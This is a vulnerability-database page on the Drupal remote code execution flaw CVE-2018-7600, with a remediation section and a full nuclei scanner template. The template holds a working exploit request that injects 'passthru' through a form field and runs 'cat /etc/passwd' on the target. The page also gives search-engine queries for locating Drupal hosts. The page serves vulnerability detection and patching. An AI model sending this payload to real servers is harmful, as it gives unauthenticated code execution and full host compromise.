HexBrain

Browse / CVEs / CVE-2018-7600

CVE-2018-7600· drupal / drupal· CWE-20

Drupal - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

criticalseverity
9.8CVSS score
100%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.

Impact

Successful exploitation allows an unauthenticated attacker to execute arbitrary code on the server, leading to full compromise of the Drupal host and its data.

Fix

Upgrade to the latest version of Drupal or apply the official patch provided by the Drupal security team.

How to confirm it

Send: POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2018-7600 -u <target>

The full check
id: CVE-2018-7600

info:
  name: Drupal - Remote Code Execution
  author: pikpikcu,diedromeo
  severity: critical
  description: |
    Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1 allows remote attackers to execute arbitrary code because of an issue affecting multiple subsystems with default or common module configurations.
  impact: |
    Successful exploitation allows an unauthenticated attacker to execute arbitrary code on the server, leading to full compromise of the Drupal host and its data.
  remediation: |
    Upgrade to the latest version of Drupal or apply the official patch provided by the Drupal security team.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/drupal/CVE-2018-7600
    - https://nvd.nist.gov/vuln/detail/CVE-2018-7600
    - https://www.drupal.org/sa-core-2018-002
    - https://groups.drupal.org/security/faq-2018-002
    - http://www.securitytracker.com/id/1040598
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2018-7600
    cwe-id: CWE-20
    epss-score: 0.99991
    epss-percentile: 0.99985
    cpe: cpe:2.3:a:drupal:drupal:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: drupal
    product: drupal
    shodan-query: http.component:"drupal"
    fofa-query: app="drupal"
  tags: cve,cve2018,drupal,rce,kev,vulhub,vkev,vuln

http:
  - raw:
      - |
        POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json
        Referer: {{Hostname}}/user/register
        X-Requested-With: XMLHttpRequest
        Content-Type: multipart/form-data; boundary=---------------------------99533888113153068481322586663

        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#post_render][]"

        passthru
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#type]"

        markup
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="mail[#markup]"

        cat /etc/passwd
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="form_id"

        user_register_form
        -----------------------------99533888113153068481322586663
        Content-Disposition: form-data; name="_drupal_ajax"

        1
        -----------------------------99533888113153068481322586663--

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from